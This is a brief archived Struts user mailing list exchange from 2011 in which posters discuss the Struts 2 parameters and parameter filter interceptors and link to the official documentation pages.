Dave is right as usual. I was writing from memory. 2011/3/15 Dave Newton davelnew...@gmail.com Are you aware there is Struts 2 documentation? http://struts.apache.org/2.x/docs/parameters-interceptor.html But I think the interceptor in question is the parameter filter interceptor: http://struts.apache.org/2.x/docs/parameter-filter-interceptor.html Dave On Tue, Mar 15, 2011 at 12:57 PM, JavaNoobie87 vivek...@enzentech.com wrote: devmode is disabled (I have never used it before) and how do I implement the ParamsInterceptor and whats the use of the same ? -- View this message in context: http://struts.1045723.n5.nabble.com/loading-Dropdown-dynamically-from-database-tp3555885p3710199.html Sent from the Struts - User mailing list archive at Nabble.com. - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org